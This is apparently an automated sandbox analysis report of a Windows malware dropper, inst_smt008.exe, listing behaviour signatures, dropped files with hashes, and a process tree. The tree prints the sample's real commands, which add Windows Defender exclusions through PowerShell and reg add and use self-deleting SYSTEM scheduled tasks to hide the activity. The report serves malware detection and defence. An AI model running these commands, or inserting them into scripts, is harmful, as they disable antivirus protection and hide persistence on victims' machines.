Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 00:56

General

  • Target
    inst_smt008.exe
  • Size 55.2MB
  • Sample260805-bac7lsbc58
  • SHA256 a911df5046a163babe13fc249fb49e18c913eee0c1c11535b4fddc8f521cb47b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4552
  • C:\Users\Public\1LIEix\UabK9g.exe
    "C:\Users\Public\1LIEix\UabK9g.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2020
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\1LIEix\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2672
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\1LIEix\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1000
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:760
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4756
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2340
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2580
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4204
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4628
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2568
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4892
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1136
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4540
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4916
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5868
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4388
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2132
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4728
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1952
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5128
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1576
                      • C:\Users\Public\1LIEix\UabK9g.exe
                        "C:\Users\Public\1LIEix\UabK9g.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2460
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\1LIEix" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3476
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\1LIEix" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2316
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:2976
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3716
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:2652
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1892
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:1580
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:5784
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:6080

                            Network

                                  MITRE ATT&CK Enterprise v16

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                                  Downloads

                                  UabK9g.exe

                                  • Path C:\Users\Public\1LIEix\UabK9g.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\1LIEix\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 d6f33e407b626d19c52ea7c1eb69ee802bd8d5e8e13f967ac391a2cc63457cda
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\1LIEix\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 a6a81f780138da5c1f0842dbf7be7b712776f9fc95fa693ca04bf43b850d936b
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\1LIEix\msadox.tb
                                  • Size 8KB
                                  • SHA256 f64ccc6af8df86b8c2f55906107ebfdc8c4ccc252afe8c59d9b36ce382863697
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/2020-600-0x000002A631BB0000-0x000002A631BBA000-memory.dmp

                                  memory/2020-599-0x000002A631DD0000-0x000002A631E82000-memory.dmp

                                  memory/2020-598-0x000002A631B90000-0x000002A631BAE000-memory.dmp

                                  memory/2020-594-0x000002A631AF0000-0x000002A631B12000-memory.dmp

                                  memory/2044-551-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-561-0x0000028AEB650000-0x0000028AEB6DA000-memory.dmp

                                  memory/2044-531-0x00007FFD2C850000-0x00007FFD2C852000-memory.dmp

                                  memory/2044-566-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-564-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-537-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-540-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-544-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-539-0x00007FFD2C860000-0x00007FFD2C862000-memory.dmp

                                  memory/2044-545-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-547-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-546-0x0000028AEAC30000-0x0000028AEB4C1000-memory.dmp

                                  memory/2044-532-0x00007FFD09C10000-0x00007FFD0A12E000-memory.dmp

                                  memory/2044-557-0x0000028AEB510000-0x0000028AEB55E000-memory.dmp

                                  memory/2044-558-0x0000028AEB650000-0x0000028AEB6DA000-memory.dmp

                                  memory/2044-559-0x0000028AEB650000-0x0000028AEB6DA000-memory.dmp

                                  memory/2044-562-0x0000028AEB650000-0x0000028AEB6DA000-memory.dmp

                                  memory/2460-591-0x00007FFD2C850000-0x00007FFD2C852000-memory.dmp

                                  memory/2460-589-0x000001BAC4130000-0x000001BAC49C1000-memory.dmp

                                  memory/2460-590-0x000001BAC4130000-0x000001BAC49C1000-memory.dmp

                                  memory/2460-574-0x00007FFD09C10000-0x00007FFD0A12E000-memory.dmp

                                  memory/2460-577-0x000001BAC4130000-0x000001BAC49C1000-memory.dmp

                                  memory/2460-582-0x00007FFD2C860000-0x00007FFD2C862000-memory.dmp

                                  memory/2460-588-0x000001BAC4130000-0x000001BAC49C1000-memory.dmp

                                  memory/2460-583-0x000001BAC4130000-0x000001BAC49C1000-memory.dmp

                                  memory/2460-587-0x000001BAC4130000-0x000001BAC49C1000-memory.dmp

                                  memory/4552-0-0x00000000004D0000-0x00000000004DD000-memory.dmp

                                  memory/4552-525-0x00000000004D0000-0x00000000004DD000-memory.dmp

                                  memory/4552-526-0x00007FFD23F80000-0x00007FFD23F92000-memory.dmp

                                  memory/4552-523-0x00007FFD23F80000-0x00007FFD23F92000-memory.dmp

                                  memory/4552-504-0x00007FFD23F80000-0x00007FFD23F92000-memory.dmp

                                  memory/4552-2-0x00000000004E0000-0x00000000004EB000-memory.dmp

                                  memory/4552-1-0x00000000004D0000-0x00000000004DD000-memory.dmp